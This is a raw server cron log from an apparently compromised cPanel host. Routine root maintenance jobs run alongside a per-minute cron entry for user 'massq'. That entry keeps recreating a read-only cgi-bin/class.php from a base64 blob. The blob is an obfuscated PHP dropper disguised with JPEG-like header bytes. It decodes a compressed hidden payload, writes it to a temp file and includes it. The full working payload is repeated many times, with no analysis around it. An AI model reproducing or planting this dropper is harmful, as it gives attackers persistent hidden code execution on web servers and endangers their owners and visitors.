Sep  8 20:40:01 server CROND[13514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:40:01 server CROND[13517]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:40:01 server CROND[13518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:40:01 server CROND[13520]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:40:01 server CROND[13519]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:40:01 server CROND[13522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:40:01 server CROND[13521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:40:01 server CROND[13516]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:41:02 server CROND[14374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:41:02 server CROND[14375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:41:02 server CROND[14376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:42:01 server CROND[14754]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:42:01 server CROND[14756]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 20:42:01 server CROND[14755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:42:01 server CROND[14757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:43:01 server CROND[15149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:43:01 server CROND[15151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:43:01 server CROND[15150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:44:01 server CROND[15625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:44:01 server CROND[15626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:44:01 server CROND[15629]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:45:01 server CROND[16021]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:45:01 server CROND[16022]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:45:01 server CROND[16025]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:45:01 server CROND[16030]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:45:01 server CROND[16031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:45:01 server CROND[16028]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:45:01 server CROND[16029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:46:01 server CROND[16854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:46:01 server CROND[16853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:46:01 server CROND[16855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:47:01 server CROND[17234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:47:01 server CROND[17235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:47:01 server CROND[17236]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:48:01 server CROND[17626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:48:01 server CROND[17627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:48:01 server CROND[17628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:49:01 server CROND[18104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:49:01 server CROND[18105]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:49:01 server CROND[18106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:50:01 server CROND[18495]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:50:01 server CROND[18497]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:50:01 server CROND[18500]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 20:50:01 server CROND[18502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:50:01 server CROND[18503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:50:01 server CROND[18499]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 20:50:01 server CROND[18504]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:50:01 server CROND[18498]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 20:50:01 server CROND[18501]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 20:51:01 server CROND[19343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:51:01 server CROND[19344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
